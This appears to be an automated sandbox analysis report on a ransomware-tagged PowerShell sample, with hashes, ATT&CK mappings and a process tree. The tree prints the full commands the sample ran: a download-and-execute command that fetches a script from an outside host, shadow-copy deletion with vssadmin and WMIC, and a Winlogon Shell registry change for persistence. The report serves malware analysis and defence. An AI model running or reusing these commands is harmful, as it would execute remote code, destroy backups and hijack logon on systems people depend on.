19ead3ae2123d5208f3c8cbccdad1fc23ed18509af27228d41cdc8af30c66cfd

Analysis

user interaction
yes
max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 14:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file01.ps1
Size 226B
Sample260823-r2dkfsswat
SHA256 19ead3ae2123d5208f3c8cbccdad1fc23ed18509af27228d41cdc8af30c66cfd
MD5 d5d9d5586dcd0c826aa0ad489d70dc14
SHA1 71e3385dc7de6e3c058c095d4c581fcfa4068ec4
SHA512 41baff94b189e069fca42967185d4536ed75f9812f5ea5a8069db5162afff61b88fd926020cd51a180ac2c65582432a9e2bc5eb7d9c2764cba29c5d0d4ad63f4
TLSH
T161D0977AD51CE74C932260EAA4DC7A7AA06A124CC73050402374CE8884102208329987
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://easyfiles.cc/2026/8/27e33abe-ebbd-4f73-b0d9-cef4d10d7823/negy.ps1

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"while($true){Start-Sleep -Seconds 1}\""	powershell.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4784	powershell.exe
6	4784	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4784	powershell.exe
4136	PowerShell.exe
3724	powershell.exe
3008	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
6	api.ipify.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1428	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4136	PowerShell.exe
4136	PowerShell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
4784	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
3724	powershell.exe
5756	WMIC.exe
5756	WMIC.exe
5756	WMIC.exe
5756	WMIC.exe
3724	powershell.exe
3724	powershell.exe
3008	powershell.exe
3008	powershell.exe
3008	powershell.exe
3724	powershell.exe
4784	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe
3724	powershell.exe
4784	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4136	PowerShell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe
Token: 35	4784	powershell.exe
Token: 36	4784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe
Token: 35	4784	powershell.exe
Token: 36	4784	powershell.exe
Token: SeIncreaseQuotaPrivilege	4784	powershell.exe
Token: SeSecurityPrivilege	4784	powershell.exe
Token: SeTakeOwnershipPrivilege	4784	powershell.exe
Token: SeLoadDriverPrivilege	4784	powershell.exe
Token: SeSystemProfilePrivilege	4784	powershell.exe
Token: SeSystemtimePrivilege	4784	powershell.exe
Token: SeProfSingleProcessPrivilege	4784	powershell.exe
Token: SeIncBasePriorityPrivilege	4784	powershell.exe
Token: SeCreatePagefilePrivilege	4784	powershell.exe
Token: SeBackupPrivilege	4784	powershell.exe
Token: SeRestorePrivilege	4784	powershell.exe
Token: SeShutdownPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeSystemEnvironmentPrivilege	4784	powershell.exe
Token: SeRemoteShutdownPrivilege	4784	powershell.exe
Token: SeUndockPrivilege	4784	powershell.exe
Token: SeManageVolumePrivilege	4784	powershell.exe
Token: 33	4784	powershell.exe
Token: 34	4784	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4136 wrote to memory of 4784	4136	PowerShell.exe	90
PID 4784 wrote to memory of 1812	4784	powershell.exe	91
PID 1812 wrote to memory of 4512	1812	csc.exe	92
PID 4784 wrote to memory of 3724	4784	powershell.exe	93
PID 4784 wrote to memory of 1428	4784	powershell.exe	96
PID 4784 wrote to memory of 5756	4784	powershell.exe	99
PID 4204 wrote to memory of 3008	4204	userinit.exe	102
PID 4784 wrote to memory of 3464	4784	powershell.exe	105

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('https://easyfiles.cc/2026/8/27e33abe-ebbd-4f73-b0d9-cef4d10d7823/negy.ps1', 'C:\Users\Admin\AppData\Local\Temp\negy.ps1'); & 'C:\Users\Admin\AppData\Local\Temp\negy.ps1'"
  2⤵
  - Modifies WinLogon for persistence
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3A50.tmp" "c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\CSC18A65EFC85A74225B3EFD3C8B539F954.TMP"
      4⤵
      PID:4512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3724
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1428
- - C:\Windows\System32\Wbem\WMIC.exe
    "C:\Windows\System32\Wbem\WMIC.exe" shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5756
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\\darkside_lock.html"
    3⤵
    PID:3464

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4528

C:\Windows\system32\userinit.exe
C:\Windows\system32\userinit.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "while($true){Start-Sleep -Seconds 1}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0be6d2b42374447bc9d2fc32f7b7341dee8e35a07dd879deb04152fac4be8b82
MD5 f637ba70a2216f5a2374c55ca28e9c7c
SHA1 960e0a761e6d5fd431d62ece25a8ab6a8c3121e0
SHA512 daa3fe684921cf3260a5e65422a6bf8651e3ab758890af723a340b6232e0c2da2f9507ec23579624b3406ebd69290343bff4e72089c83df8a0b10b391a11641a
SSDEEP 1536:eKLg0xCw2hk6vffKQVAflJdpCUp9Yvh4iUx9R40i71Yi+MQyPRWrxMV3CNBQkj2/:eKLg0xCw2hk6vffKQVAflJd0Up9YvqiB
TLSH
T145637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 a3bbb5e7a3d17af871c416ea22c6d963a5b9427d12eeeb2db7ba33bb841eabee
MD5 c693835e9803285768bcd0ad9ed6f851
SHA1 3fc84976acf24b0a96837dd11c7a043e376bbda0
SHA512 8b69354c2ef2a01f76033c553a37e3a94be52f4d54294ab8065340df556b1e7a2ca44a56817c6540570f89b7f6de6775d0a26903c222cacbd24fefe8947e27ca
SSDEEP 1536:MKLg0xYo2hk6vpfKQVAflJdpCUp9Ybh4iUx9R40i71Yi+MQyPRMrxpibjoRjdvR0:MKLg0xYo2hk6vpfKQVAflJd0Up9Ybqiz
TLSH
T1C0637292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 2KB
SHA256 38aa7ecbe7426c797e12fda69fe1ba838b8e88cb37785445fe7651ad203f08d9
MD5 035b20a36368fe57bd8f9d86e7319bfb
SHA1 580e8a2b5c67362c625ac287da18c4a572e082ad
SHA512 ea3ab575acedd2c47d2ecc7b9f16b5324eb564236671fb0a4ce84ea8c4ca0fc33e30e82570fd49bcbbf2923039b193167a2b0864d7e9e4404926b1caf481458c
TLSH
T1F851D973F3CCA616E88A443E10C9AC0532B9C6D7C09EAFA3BBB4D544B13B299DE5C045
MD5 SHA1 SHA512 TLSH

Submit Download

5cz1vjhy.dll

Path C:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.dll
Size 3KB
SHA256 5b1290963666914e3a9639da3de2c81b9c48d07369c08409b0f506d0c0ae2b7f
MD5 b2541c7817e35c05eb78ed226fb3c5b9
SHA1 001310c3c0dcf6b74a512467ffd19b507024852f
SHA512 af1cfc4bf745cc0f6a04a095d308b513560ea8077b136a9639e995a19352ce46358329f71c42c31c7cdf35987df2f5dcf6f7f30b489915588d5057fe9b638c13
TLSH
T13E51BC17A3E8466BE4B70B346EF3036727B4F8609FB3536E49C00228AC606185D75FB5
MD5 SHA1 SHA512 TLSH

Submit Download

RES3A50.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3A50.tmp
Size 1KB
SHA256 4c82d0238d8bc293dcde168757e877b573467432364cab6d1ec633214b6dec28
MD5 967d8343df95a9aa2fe60d9bb8c1d49c
SHA1 b6f5bdf64a92cbe18a0744e7abaf88b1ed63d83c
SHA512 e21de1047fd5a492f1cede627afa8853fdf51e71f8c4c7832f55cbca5b5db476b267e7581afe66c6df51b4b5cf4baa81f7554bac1024703ff1ff11b95eff940b
TLSH
T136218C0593EC871EF0734731AAF6572BA274FDA9DFA2636B854042282C51904EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dk1d4vzz.bv0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dk1d4vzz.bv0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

darkside_lock.html

Path C:\Users\Admin\AppData\Local\Temp\darkside_lock.html
Size 4KB
SHA256 1b98f0ed58802539e589ec6bfa07273a1d237113a99910617c3358ed16319632
MD5 8fd2861a312a0338f85560719a3bd79f
SHA1 a314e2f1015fbcaf33f1a318d4c55d63094a9f34
SHA512 726033d19bb9f1e138b6c22780c9a1b92579c161e7c9bf9c60d7f939b9c393ee1bbd1d57276de4c051d6a59db059d38d7d3d138b523b22044f7823253e390b2a
SSDEEP 96:fZ7/nFNprgGPyFVZR5/k3XIisi+TDvki/Q+ir7U2CD8c:fZzXprgGPyFVV/k3Yisi+vki9iPCAc
TLSH
T18BA1A667681218166377EB6AAB73C789F134101314030F6CFD9C61A1CFBAD2246A3FA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5cz1vjhy.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.0.cs
Size 170B
SHA256 55bb19b58f1e8cc33b461847e8079a910251e4e66e4ec6a22f4ec2bc1b308408
MD5 7c3b8651a72b2201b6cb4e9e4cab04ec
SHA1 cda010b1c8c58a8d8b20ee6bb77c46a6fafc0f21
SHA512 3bc0062442cafd277bbdaea4a1eb4a56c34c219b3f508cb3d6ec33a8b8c43c9f79f0ef618f4194d8d76fe51d16fa75982075372e626702071d4a32817b942b54
TLSH
T12FC080257E576AF600024D170C42F0FD77B711742667251596D55310FF4E00D4130A55
MD5 SHA1 SHA512 TLSH

Submit Download

5cz1vjhy.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\5cz1vjhy.cmdline
Size 369B
SHA256 20d4b7162c5491eb44cabf2a9e3a7722a85f14e88140c092240cabdc8c4892e0
MD5 55bc37b76cf92f47dd074e19b62ca5b0
SHA1 1932d9132d07a328e66ddd3786e8fc4140809dc5
SHA512 41670cdc3f6af3ce96c316956da5e8dedc1b19374080a91443c02aac0064725a71eb8d150dd7f0047e7e89ed58cc0a0cd74bfe5f8488e29d6bb7fc50e7d353ec
TLSH
T196E0C02B8246C67D21DD2407216FC8ACC3F20B4329427F9450C0442DD1FF0012BD2741
MD5 SHA1 SHA512 TLSH

Submit Download

CSC18A65EFC85A74225B3EFD3C8B539F954.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5cz1vjhy\CSC18A65EFC85A74225B3EFD3C8B539F954.TMP
Size 652B
SHA256 5e398e9143ffd20fd63c776695e82d1ce84b7d816395b3c540c12eb73953f01f
MD5 71c098e8968c42557dfe9ea268784d17
SHA1 79dd9ea639463c6f4d8ed4cd16c9cd1389a20567
SHA512 5521b074e6f708c4c79c6ee8e89fbff8685579074d2d7819100d9341b44e7c8030025436268693ff2b5ed3685b59324f7c5cbb31df413e04344fc4af9af213cd
TLSH
T108F05E4963FC020EF0F34B30BEF6436395A8BCA4DE3293ED1540032928649148972FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4136-7-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-21-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-18-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-10-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-0-0x00007FFFF8E1F000-0x00007FFFF8E20000-memory.dmp

Download

memory/4136-92-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-6-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-87-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-5-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-1-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4136-4-0x00000275EBAD0000-0x00000275EBAF2000-memory.dmp

Download

memory/4784-37-0x0000018B3CA80000-0x0000018B3CA9E000-memory.dmp

Download

memory/4784-52-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-39-0x0000018B3CA70000-0x0000018B3CA7A000-memory.dmp

Download

memory/4784-40-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-41-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-42-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-43-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-44-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-45-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-46-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-47-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-38-0x0000018B3CAA0000-0x0000018B3CB52000-memory.dmp

Download

memory/4784-58-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-74-0x0000018B3D580000-0x0000018B3D742000-memory.dmp

Download

memory/4784-75-0x0000018B3DC80000-0x0000018B3E1A8000-memory.dmp

Download

memory/4784-34-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-31-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-86-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-30-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-88-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download

memory/4784-29-0x0000018B3CF70000-0x0000018B3D17A000-memory.dmp

Download

memory/4784-28-0x0000018B3CBE0000-0x0000018B3CD56000-memory.dmp

Download

memory/4784-27-0x0000018B3C700000-0x0000018B3C708000-memory.dmp

Download

memory/4784-95-0x00007FFFF8C90000-0x00007FFFF9634000-memory.dmp

Download